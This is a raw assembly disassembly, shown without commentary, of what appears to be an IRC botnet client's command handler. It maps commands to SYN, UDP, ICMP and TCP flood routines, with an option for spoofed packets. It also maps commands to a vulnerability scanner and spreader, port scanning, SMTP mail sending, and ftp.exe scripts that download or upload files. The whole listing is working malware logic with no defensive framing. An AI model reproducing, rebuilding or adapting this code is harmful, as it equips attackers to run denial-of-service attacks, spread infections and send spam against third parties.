[ebp+10h] push offset aEnz_m ; "enz.m" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F52D push dword ptr [ebp+10h] push offset aClone_raw ; "clone.raw" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F4C2 push dword ptr [ebp+10h] push offset aClone_ra ; "clone.ra" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F4C2 push dword ptr [ebp+10h] push offset aClone_mode ; "clone.mode" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F440 push dword ptr [ebp+10h] push offset aClone_m ; "clone.m" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F440 push dword ptr [ebp+10h] push offset aClone_nick ; "clone.nick" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F3CF push dword ptr [ebp+10h] push offset aClone_ni ; "clone.ni" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F3CF push dword ptr [ebp+10h] push offset aClone_join ; "clone.join" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F3A9 push dword ptr [ebp+10h] push offset aClone_j ; "clone.j" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F3A9 push dword ptr [ebp+10h] push offset aClone_part ; "clone.part" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F346 push dword ptr [ebp+10h] push offset aClone_p ; "clone.p" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F346 push dword ptr [ebp+10h] push offset aEnz_repeat ; "enz.repeat" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F280 push dword ptr [ebp+10h] push offset aEnz_rp ; "enz.rp" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F280 push dword ptr [ebp+10h] push offset aEnz_delay ; "enz.delay" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F1E5 push dword ptr [ebp+10h] push offset aEnz_de ; "enz.de" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F1E5 push dword ptr [ebp+10h] push offset aDownload_updiz ; "download.updiz" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F067 push dword ptr [ebp+10h] push offset aDownload_upz ; "download.upz" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F067 push dword ptr [ebp+10h] push offset aBox_execute ; "box.execute" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EFC6 push dword ptr [ebp+10h] push offset aBox_e ; "box.e" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EFC6 push dword ptr [ebp+10h] push offset aBox_findfile ; "box.findfile" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EEC8 push dword ptr [ebp+10h] push offset aBox_ff ; "box.ff" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EEC8 push dword ptr [ebp+10h] push offset aBox_rename ; "box.rename" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EE77 push dword ptr [ebp+10h] push offset aBox_mv ; "box.mv" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EE77 push dword ptr [ebp+10h] push offset aDdos_icmp ; "ddos.icmp" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40ED7C push dword ptr [ebp+10h] push offset aDdos_ic ; "ddos.ic" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40ED7C mov eax, [ebp+esi-88h] cmp eax, ebx mov [ebp+8], eax jz loc_40B71F push dword ptr [ebp+10h] push offset aClone_make ; "clone.make" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EC91 push dword ptr [ebp+10h] push offset aClone_start ; "clone.start" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EC91 push dword ptr [ebp+10h] push offset aDs_sy1 ; "ds.sy1" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EB8C push dword ptr [ebp+10h] push offset aDs_ack ; "ds.ack" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EB8C push dword ptr [ebp+10h] push offset aDs_rm ; "ds.rm" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EB8C push dword ptr [ebp+10h] push offset aDdos_synflood ; "ddos.synflood" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EA8E push dword ptr [ebp+10h] push offset aSy1 ; "sy1" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40EA8E push dword ptr [ebp+10h] push offset aDownload_fromw ; "download.fromwww" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E950 push dword ptr [ebp+10h] push offset aD1 ; "d1" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E950 push dword ptr [ebp+10h] push offset aServer_redir_0 ; "server.redirect.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E856 push dword ptr [ebp+10h] push offset aServer_rd_on ; "server.rd.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E856 push dword ptr [ebp+10h] push offset aEnz_portscan ; "enz.portscan" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E763 push dword ptr [ebp+10h] push offset aEnz_ps ; "enz.ps" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E763 push dword ptr [ebp+10h] push offset aClone_privmsg ; "clone.privmsg" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E68E push dword ptr [ebp+10h] push offset aClone_pm ; "clone.pm" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E68E push dword ptr [ebp+10h] push offset aClone_action ; "clone.action" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E579 push dword ptr [ebp+10h] push offset aClone_ac ; "clone.ac" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E579 mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+18h], eax jz loc_40B71F push dword ptr [ebp+10h] push offset aVuln_start ; "vuln.start" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E220 push dword ptr [ebp+10h] push offset aVv ; "vv" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E220 push dword ptr [ebp+10h] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E100 push dword ptr [ebp+10h] push offset aDdos_udpf ; "ddos.udpf" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E100 push dword ptr [ebp+10h] push offset aPu ; "pu" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40E100 push dword ptr [ebp+10h] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DFCD push dword ptr [ebp+10h] push offset aDdos_pingf ; "ddos.pingf" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DFCD push dword ptr [ebp+10h] push offset aPg ; "pg" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DFCD push dword ptr [ebp+10h] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DE3A push dword ptr [ebp+10h] push offset aUsa ; "usa" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DE3A push dword ptr [ebp+10h] push offset aUtil_email ; "util.email" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40DC43 lea eax, [ebp-3E4h] push edi push eax call sub_413CC0 push dword ptr [ebp+20h] call sub_413B1F push dword ptr [ebp+8] mov [ebp+20h], eax lea eax, [ebp-0D9Ch] push eax call sub_413CC0 push dword ptr [ebp+18h] lea eax, [ebp-0B94h] push eax call sub_413CC0 push offset asc_422D6C ; " " push offset a_ ; "_" push dword ptr [ebp+esi-80h] call sub_407E52 push eax lea eax, [ebp-548h] push eax call sub_413CC0 add esp, 30h lea eax, [ebp-6F4h] push eax push 101h call ds:dword_42F680 lea eax, [ebp-3E4h] push eax call ds:dword_42F78C push 6 push 1 push 2 mov edi, eax call ds:dword_42F788 push dword ptr [ebp+20h] mov esi, eax mov word ptr [ebp-2D8h], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-2D4h], eax call ds:dword_42F708 mov [ebp-2D6h], ax lea eax, [ebp-548h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-548h] push eax lea eax, [ebp-0B94h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-159Ch] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4135AD add esp, 1Ch lea eax, [ebp-2D8h] push 10h push eax push esi call ds:dword_42F6B0 mov edi, 100h push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_42F720 lea eax, [ebp-0C98h] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp-159Ch] push eax push esi call ds:dword_42F758 push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_42F720 push esi call ds:dword_42F7A0 call ds:dword_42F668 lea eax, [ebp-0B94h] push eax push offset unk_42A530 loc_40DC0A: ; CODE XREF: seg000:0040ED77j ; seg000:0040F062j ... lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch loc_40DC19: ; CODE XREF: seg000:0040ED5Bj ; seg000:0040F006j ... cmp [ebp-8], ebx jnz loc_4109E0 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h jmp loc_4109E0 ; --------------------------------------------------------------------------- loc_40DC43: ; CODE XREF: seg000:0040DAB4j push dword ptr [ebp+10h] push offset aUtil_httpcon ; "util.httpcon" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DE0C push dword ptr [ebp+10h] push offset aUtil_hcon ; "util.hcon" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40DE0C mov esi, [ebp+esi-80h] cmp esi, ebx jz loc_40B71F push dword ptr [ebp+10h] push offset aFtp_upload ; "ftp.upload" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_410E98 push 4 push esi call sub_40A68C pop ecx test eax, eax pop ecx jnz short loc_40DCE1 push esi push offset dword_42A4D4 loc_40DCA8: ; CODE XREF: seg000:0040DFBEj ; seg000:0040E574j ... lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch loc_40DCB7: ; CODE XREF: seg000:0040DFA2j ; seg000:0040E558j ... cmp [ebp-8], ebx jnz loc_410D58 push ebx push dword ptr [ebp-4] loc_40DCC4: ; CODE XREF: seg000:0040EB87j lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] loc_40DCD4: ; CODE XREF: seg000:00410430j call sub_4110B0 add esp, 14h jmp loc_410D58 ; --------------------------------------------------------------------------- loc_40DCE1: ; CODE XREF: seg000:0040DCA0j call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF pop ecx call sub_413609 push 9 cdq pop ecx idiv ecx push edx call sub_413609 push 63h cdq pop ecx idiv ecx push edx call sub_413609 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-0C9Ch] push edx push eax lea eax, [ebp-0B98h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4135AD lea eax, [ebp-0B98h] push offset aAb ; "ab" push eax call sub_413CA8 add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_40B71F push esi push dword ptr [ebp+18h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_413C56 push dword ptr [ebp+2Ch] call sub_413C00 lea eax, [ebp-0B98h] push eax lea eax, [ebp-3E4h] push offset aSS_4 ; "-s:%s" push eax call sub_4135AD add esp, 2Ch lea eax, [ebp-3E4h] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_42F67C test eax, eax push edi push esi jz short loc_40DDAB push offset dword_42A458 jmp short loc_40DDB0 ; --------------------------------------------------------------------------- loc_40DDAB: ; CODE XREF: seg000:0040DDA2j push offset dword_42A418 loc_40DDB0: ; CODE XREF: seg000:0040DDA9j call sub_4135AD add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40DDD9 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_40DDD9: ; CODE XREF: seg000:0040DDBBj lea eax, [ebp-2C8h] push eax call sub_409615 loc_40DDE5: ; CODE XREF: seg000:0040DE0Aj lea eax, [ebp-0B98h] push 4 push eax call sub_40A68C add esp, 0Ch test eax, eax jz loc_40B71F lea eax, [ebp-0B98h] push eax call sub_41598C jmp short loc_40DDE5 ; --------------------------------------------------------------------------- loc_40DE0C: ; CODE XREF: seg000:0040DC54j ; seg000:0040DC6Bj push dword ptr [ebp+esi-80h] push dword ptr [ebp+18h] push dword ptr [ebp+8] push dword ptr [ebp+20h] call sub_413B1F pop ecx push eax push edi push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_404FC5 jmp loc_410E95 ; --------------------------------------------------------------------------- loc_40DE3A: ; CODE XREF: seg000:0040DA86j ; seg000:0040DA9Dj mov esi, 80h push edi lea eax, [ebp-680h] push esi push eax call sub_413B2A lea eax, [ebp-680h] push eax push offset aSyn ; "syn" call sub_4139D0 add esp, 14h test eax, eax jz short loc_40DE9D lea eax, [ebp-680h] push eax push offset aAck ; "ack" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40DE9D lea eax, [ebp-680h] push eax push offset aRandom ; "random" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40DE9D push offset dword_42A3DC jmp loc_410536 ; --------------------------------------------------------------------------- loc_40DE9D: ; CODE XREF: seg000:0040DE63j ; seg000:0040DE7Aj ... push dword ptr [ebp+18h] call sub_413B1F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40DFC3 push edi lea eax, [ebp-680h] push esi push eax call sub_413B2A push dword ptr [ebp+20h] lea eax, [ebp-700h] push esi push eax call sub_413B2A push dword ptr [ebp+8] call sub_413B1F mov [ebp-57Ch], eax xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_413B2A mov eax, [ebp-4] add esp, 28h cmp [ebp-574h], ebx mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40DF34 mov eax, offset aNormal ; "Normal" loc_40DF34: ; CODE XREF: seg000:0040DF2Dj push dword ptr [ebp+18h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push eax push offset dword_42A384 lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A push ebx lea eax, [ebp-2C8h] push 0Ch push eax call sub_413059 add esp, 2Ch mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401BD6 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40DFB2 loc_40DF9C: ; CODE XREF: seg000:0040DFB0j cmp [ebp-568h], ebx jnz loc_40DCB7 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40DF9C ; --------------------------------------------------------------------------- loc_40DFB2: ; CODE XREF: seg000:0040DF9Aj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_42A338 jmp loc_40DCA8 ; --------------------------------------------------------------------------- loc_40DFC3: ; CODE XREF: seg000:0040DEAEj push offset dword_42A2EC jmp loc_410536 ; --------------------------------------------------------------------------- loc_40DFCD: ; CODE XREF: seg000:0040DA41j ; seg000:0040DA58j ... cmp ds:dword_42F7F8, ebx mov esi, [ebp+0Ch] jnz loc_40E0D5 mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_414DD0 push dword ptr [ebp+20h] call sub_413B1F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_413B1F push dword ptr [ebp+18h] mov [ebp-300h], eax call sub_413B1F push 7Fh mov [ebp-2FCh], eax push dword ptr [ebp-8Ch] lea eax, [ebp-404h] push eax call sub_414DD0 push dword ptr [ebp-2FCh] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset unk_42A290 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 0Eh push eax call sub_413059 add esp, 48h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset loc_4086BF push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40E0C4 loc_40E0B2: ; CODE XREF: seg000:0040E0C2j cmp [ebp-2E8h], ebx jnz short loc_40E0EE push 32h call ds:dword_41F058 ; Sleep jmp short loc_40E0B2 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: seg000:0040E0B0j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_42A244 jmp loc_40EC80 ; --------------------------------------------------------------------------- loc_40E0D5: ; CODE XREF: seg000:0040DFD6j push 1FFh lea eax, [ebp-2C8h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_414DD0 loc_40E0EB: ; CODE XREF: seg000:0040EC8Cj add esp, 0Ch loc_40E0EE: ; CODE XREF: seg000:0040E0B8j ; seg000:0040E1FFj ... cmp [ebp-8], ebx jnz loc_410D58 push ebx push dword ptr [ebp-4] jmp loc_410422 ; --------------------------------------------------------------------------- loc_40E100: ; CODE XREF: seg000:0040D9FCj ; seg000:0040DA13j ... mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_414DD0 push dword ptr [ebp+20h] call sub_413B1F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_413B1F push dword ptr [ebp+18h] mov [ebp-300h], eax call sub_413B1F mov esi, [ebp+esi-80h] add esp, 18h cmp esi, ebx mov [ebp-2FCh], eax jz short loc_40E165 push esi call sub_413B1F pop ecx mov [ebp-2F8h], eax jmp short loc_40E16B ; --------------------------------------------------------------------------- loc_40E165: ; CODE XREF: seg000:0040E154j mov [ebp-2F8h], ebx loc_40E16B: ; CODE XREF: seg000:0040E163j push 7Fh lea eax, [ebp-404h] push dword ptr [ebp-8Ch] push eax call sub_414DD0 push dword ptr [ebp-2FCh] mov esi, [ebp+0Ch] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset dword_42A1D0 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 0Fh push eax call sub_413059 add esp, 30h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset sub_40884B push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40E20F loc_40E1F9: ; CODE XREF: seg000:0040E20Dj cmp [ebp-2E8h], ebx jnz loc_40E0EE push 32h call ds:dword_41F058 ; Sleep jmp short loc_40E1F9 ; --------------------------------------------------------------------------- loc_40E20F: ; CODE XREF: seg000:0040E1F7j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_42A184 jmp loc_40EC80 ; --------------------------------------------------------------------------- loc_40E220: ; CODE XREF: seg000:0040D9CEj ; seg000:0040D9E5j push 8 call sub_4132A1 push dword ptr [ebp+20h] mov [ebp+10h], eax call sub_413B1F add eax, [ebp+10h] pop ecx pop ecx cmp eax, 12Ch jle short loc_40E273 push dword ptr [ebp+10h] lea eax, [ebp-2C8h] push offset dword_42A130 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 loc_40E26B: ; CODE XREF: seg000:0040F68Bj add esp, 20h jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: seg000:0040E23Cj push edi call sub_413B1F push dword ptr [ebp+20h] mov [ebp-31Ch], eax call sub_413B1F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_413B1F add esp, 0Ch cmp eax, 1 mov [ebp-318h], eax jnb short loc_40E2AC push 1 pop eax mov [ebp-318h], eax loc_40E2AC: ; CODE XREF: seg000:0040E2A1j push 3Ch pop ecx cmp eax, ecx jbe short loc_40E2B9 mov [ebp-318h], ecx loc_40E2B9: ; CODE XREF: seg000:0040E2B1j push dword ptr [ebp+18h] call sub_413B1F mov [ebp-314h], eax mov eax, 1F4h cmp [ebp-314h], eax pop ecx jbe short loc_40E2DB mov [ebp-314h], eax loc_40E2DB: ; CODE XREF: seg000:0040E2D3j or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_4236A0, ebx mov [ebp+8], ebx jz short loc_40E331 mov dword ptr [ebp+2Ch], offset dword_4236A0 loc_40E2F4: ; CODE XREF: seg000:0040E313j mov eax, [ebp+2Ch] push edi add eax, 0FFFFFFD8h push eax call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40E317 add dword ptr [ebp+2Ch], 3Ch inc dword ptr [ebp+8] mov eax, [ebp+2Ch] cmp [eax], ebx jnz short loc_40E2F4 jmp short loc_40E331 ; --------------------------------------------------------------------------- loc_40E317: ; CODE XREF: seg000:0040E305j mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, ds:dword_4236A0[ecx] mov [ebp-31Ch], ecx loc_40E331: ; CODE XREF: seg000:0040E2EBj ; seg000:0040E315j cmp [ebp-31Ch], ebx jz loc_410153 mov edi, [ebp+esi-80h] cmp edi, ebx mov [ebp+20h], edi jz short loc_40E378 cmp byte ptr [edi], 23h jz short loc_40E378 push edi lea eax, [ebp-430h] push 10h push eax call sub_413B2A push 78h push edi call sub_415110 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-2F0h], eax jmp loc_40E44C ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: seg000:0040E346j ; seg000:0040E34Bj cmp [ebp-9B3h], bl jnz short loc_40E39A cmp [ebp-9B2h], bl jnz short loc_40E39A cmp [ebp-9A2h], bl jnz short loc_40E39A push offset dword_42A0E4 jmp loc_410536 ; --------------------------------------------------------------------------- loc_40E39A: ; CODE XREF: seg000:0040E37Ej ; seg000:0040E386j ... push 10h lea eax, [ebp+8] pop edi push eax lea eax, [ebp-2D8h] push eax mov [ebp+8], edi push dword ptr [ebp+0Ch] call ds:dword_42F6AC mov al, [ebp-9B3h] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call ds:dword_42F794 push eax lea eax, [ebp-430h] push eax call sub_414DD0 add esp, 0Ch cmp [ebp-9A2h], bl jz short loc_40E446 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_4150D0 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_40E43A loc_40E418: ; CODE XREF: seg000:0040E438j cmp eax, ebx jz short loc_40E43A mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_4150D0 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40E418 loc_40E43A: ; CODE XREF: seg000:0040E416j ; seg000:0040E41Aj mov dword ptr [ebp-2F0h], 1 jmp short loc_40E44C ; --------------------------------------------------------------------------- loc_40E446: ; CODE XREF: seg000:0040E3F0j mov [ebp-2F0h], ebx loc_40E44C: ; CODE XREF: seg000:0040E373j ; seg000:0040E444j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov [ebp-320h], eax mov eax, [ebp-4] mov [ebp-2F8h], eax mov eax, [ebp-8] mov [ebp-2F4h], eax mov edi, 80h lea eax, [ebp-420h] push edi push eax call sub_413B2A mov esi, [ebp+esi-7Ch] add esp, 0Ch cmp esi, ebx jz short loc_40E49D loc_40E48A: ; CODE XREF: seg000:0040E4C0j push esi loc_40E48B: ; CODE XREF: seg000:0040E4AAj lea eax, [ebp-3A0h] push edi push eax call sub_413B2A add esp, 0Ch jmp short loc_40E4C8 ; --------------------------------------------------------------------------- loc_40E49D: ; CODE XREF: seg000:0040E488j mov eax, [ebp+20h] cmp eax, ebx jz short loc_40E4AC cmp byte ptr [eax], 23h jnz short loc_40E4AC push eax jmp short loc_40E48B ; --------------------------------------------------------------------------- loc_40E4AC: ; CODE XREF: seg000:0040E4A2j ; seg000:0040E4A7j mov esi, offset dword_4282D8 push offset byte_42E348 push esi call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40E48A mov [ebp-3A0h], bl loc_40E4C8: ; CODE XREF: seg000:0040E49Bj cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40E4DA mov eax, offset aSequential ; "Sequential" loc_40E4DA: ; CODE XREF: seg000:0040E4D3j push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset dword_42A058 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_413059 add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_405E47 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40E568 loc_40E552: ; CODE XREF: seg000:0040E566j cmp [ebp-2ECh], ebx jnz loc_40DCB7 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40E552 ; --------------------------------------------------------------------------- loc_40E568: ; CODE XREF: seg000:0040E550j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_42A00C jmp loc_40DCA8 ; --------------------------------------------------------------------------- loc_40E579: ; CODE XREF: seg000:0040D98Ej ; seg000:0040D9A5j push edi call sub_413B1F imul eax, 234h pop ecx cmp ds:byte_4348B0[eax], bl jz loc_410E98 cmp [ebp-0Ch], ebx jz loc_410E98 push edi call sub_413DB0 push dword ptr [ebp+10h] mov esi, eax call sub_413DB0 push dword ptr [ebp+20h] add esi, eax call sub_413DB0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_413B80 mov esi, eax lea eax, [ebp-2C8h] push esi push offset dword_42A000 push eax call sub_4135AD add esp, 20h cmp esi, ebx jz loc_410E98 push edi call sub_413B1F test eax, eax pop ecx jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 push ebx lea eax, [ebp-2C8h] push ebx push eax push dword ptr [ebp+20h] push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_4110B0 push edi call sub_413B1F imul eax, 234h add esp, 18h cmp byte ptr ds:dword_434698[eax], 73h jnz loc_410E98 push esi push edi call sub_413B1F imul eax, 234h pop ecx add eax, offset byte_4348B0 push eax push dword ptr [ebp+20h] push offset aSSS_1 ; "[%s] * %s %s" loc_40E661: ; CODE XREF: seg000:0040E75Ej lea eax, [ebp-2C8h] push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 loc_40E686: ; CODE XREF: seg000:004105FEj add esp, 28h jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40E68E: ; CODE XREF: seg000:0040D960j ; seg000:0040D977j push edi call sub_413B1F imul eax, 234h pop ecx cmp ds:byte_4348B0[eax], bl jz loc_410E98 cmp [ebp-0Ch], ebx jz loc_410E98 push edi call sub_413DB0 push dword ptr [ebp+10h] mov esi, eax call sub_413DB0 push dword ptr [ebp+20h] add esi, eax call sub_413DB0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_413B80 mov esi, eax add esp, 14h cmp esi, ebx jz loc_410E98 push edi call sub_413B1F test eax, eax pop ecx jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 push ebx push ebx push esi push dword ptr [ebp+20h] push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_4110B0 push edi call sub_413B1F imul eax, 234h add esp, 18h cmp byte ptr ds:dword_434698[eax], 73h jnz loc_410E98 push esi push edi call sub_413B1F imul eax, 234h pop ecx add eax, offset byte_4348B0 push eax push dword ptr [ebp+20h] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_40E661 ; --------------------------------------------------------------------------- loc_40E763: ; CODE XREF: seg000:0040D932j ; seg000:0040D949j push edi call ds:dword_42F748 push dword ptr [ebp+20h] mov [ebp-460h], eax call sub_413B1F push dword ptr [ebp+8] mov [ebp-46Ch], eax call sub_413B1F mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-468h], eax lea eax, [ebp-4ECh] mov [ebp-4F0h], esi push eax call sub_414DD0 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-458h], edi push dword ptr [ebp-468h] mov [ebp-454h], eax push dword ptr [ebp-46Ch] push dword ptr [ebp-460h] call ds:dword_42F794 push eax 